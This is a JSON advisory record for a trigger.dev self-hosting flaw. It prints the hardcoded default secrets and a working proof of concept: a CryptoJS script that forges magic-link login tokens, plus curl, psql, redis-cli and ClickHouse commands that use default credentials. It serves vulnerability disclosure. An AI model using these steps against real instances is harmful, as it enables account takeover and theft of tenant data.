{"schema":"threatline.record/2","record":{"id":"GHSA-pqxw-g93w-hj9x","aliases":["CVE-2026-114087","GHSA-pqxw-g93w-hj9x"],"summary":"Trigger.dev Self-Hosted Deployment: Default Secrets allow Unauthenticated Infrastructure Compromise","details":"## Summary\n\nSelf-hosted trigger.dev v4 instances deployed using the provided Docker Compose configuration with default secrets from `hosting/docker/.env.example` are vulnerable to a multi-stage unauthenticated attack chain leading to complete infrastructure compromise.\n\n## Vulnerability Details\n\nThe `hosting/docker/.env.example` file contains hardcoded cryptographic secrets:\n\n```\nSESSION_SECRET=2818143646516f6fffd707b36f334bbb\nMAGIC_LINK_SECRET=44da78b7bbb0dfe709cf38931d25dcdd\nENCRYPTION_KEY=f686147ab967943ebbe9ed3b496e465a\nMANAGED_WORKER_SECRET=447c29678f9eaf289e9c4b70d3dd8a7f\n```\n\nThe `MAGIC_LINK_SECRET` is used by `remix-auth-email-link@2.0.2` to create authentication tokens via CryptoJS AES encryption. An attacker who knows this secret can forge valid magic links that authenticate as any email address without email delivery. The `validateSessionMagicLink` option defaults to `false` in the library (never overridden by trigger.dev), so no session-side validation occurs. User accounts are auto-created when `WHITELISTED_EMAILS` is not set (the default for self-hosted).\n\n## Steps to Reproduce\n\n### Setup\n```bash\ncd hosting/docker && cp .env.example .env\ncd webapp && docker compose up -d\ncd ../worker && docker compose up -d\n```\n\n### Step 1: Forge magic link token\n```javascript\nconst CryptoJS = require('crypto-js');\nconst secret = '44da78b7bbb0dfe709cf38931d25dcdd';\nconst payload = JSON.stringify({e: 'attacker@evil.com', c: Date.now()});\nconst token = encodeURIComponent(CryptoJS.AES.encrypt(payload, secret).toString());\nconsole.log('https://target:8030/magic?token=' + token);\n```\n\n### Step 2: Authenticate via forged magic link\n```bash\ncurl -v \"http://localhost:8030/magic?token=\"\n# Returns: HTTP 302, set-cookie: __session=eyJ1c2VyIjp7InVzZXJJZCI6ImNtcGg3OTBxZjAwMDR0bjU1ZWM3bHlxN2EifX0=...\n# User auto-created, session cookie set, redirects to /orgs/new\n```\n\n### Step 3: Verify database access from runner network\n```bash\ndocker run --rm --network webapp postgres:14 psql \"postgresql://postgres:unsafe-postgres-pw@postgres:5432/main\" -c \"SELECT id, email FROM \\\"User\\\";\"\n# Returns: cmph790qf0004tn55ec7lyq7a | attacker@evil.com\n```\n\n### Step 4: Verify Redis access (no auth)\n```bash\ndocker run --rm --network webapp redis:7 redis-cli -h redis PING\n# Returns: PONG\n```\n\n### Step 5: Verify ClickHouse access\n```bash\ndocker run --rm --network webapp curlimages/curl curl -s \"http://default:password@clickhouse:8123/?query=SELECT%20version()\"\n# Returns: 25.5.2.47\n```\n\n## Root Cause\n\n1. Hardcoded secrets in `hosting/docker/.env.example` (lines 9-12)\n2. Runner containers placed on infrastructure networks: `DOCKER_RUNNER_NETWORKS: webapp,supervisor` in `hosting/docker/worker/docker-compose.yml:42`\n3. Default credentials on all infrastructure services\n4. No Redis authentication\n5. SESSION_SECRET reused for JWT signing (`apps/webapp/app/services/apiAuth.server.ts:616`) and impersonation tokens\n\n## Impact\n\nComplete infrastructure compromise: all tenant data, API keys, encrypted secrets (decryptable with known ENCRYPTION_KEY), user accounts, cross-tenant access. Attacker can modify data, push backdoored Docker images to the registry, and manipulate job queues.","categories":["Frameworks"],"product":"trigger.dev","vendor":"","ecosystem":"npm","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-pqxw-g93w-hj9x","source_modified_at":"2026-10-02T22:42:08Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"trigger.dev"},"range":"<= 4.5.5"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-pqxw-g93w-hj9x","source_modified_at":"2026-10-21T10:57:23.177909316Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"trigger.dev","ecosystem":"npm","purl":"pkg:npm/trigger.dev"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"4.5.6"}]}],"versions":[]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-pqxw-g93w-hj9x","source_modified_at":"2026-10-02T22:42:08Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"trigger.dev"},"version":"4.5.6"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-pqxw-g93w-hj9x","source_modified_at":"2026-10-21T10:57:23.177909316Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"trigger.dev","ecosystem":"npm","purl":"pkg:npm/trigger.dev"},"version":"4.5.6"}],"cvss":8.1,"severity":"High","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-10-02T22:39:48Z","modified_at":"2026-10-21T10:57:23.177909316Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-pqxw-g93w-hj9x","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-02T22:42:08Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-pqxw-g93w-hj9x","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-10-21T10:57:23.177909316Z"}],"sources":["GitHub Advisory Database","OSV"],"references":[{"url":"https://github.com/triggerdotdev/trigger.dev/security/advisories/GHSA-pqxw-g93w-hj9x","source":"GitHub Advisory Database"},{"url":"https://github.com/triggerdotdev/trigger.dev/pull/4316","source":"GitHub Advisory Database"},{"url":"https://github.com/triggerdotdev/trigger.dev/commit/6997aeb05e27d2db47f9eda01fdc8a17c81a1ae0","source":"GitHub Advisory Database"},{"url":"https://github.com/triggerdotdev/trigger.dev/releases/tag/v4.5.6","source":"GitHub Advisory Database"},{"url":"https://github.com/advisories/GHSA-pqxw-g93w-hj9x","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"product","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-21T10:57:23.177909316Z","content_hash":"2acede467284c95e4b15365b264597e6cf42366de41fa17488e51975c20b2118"}}
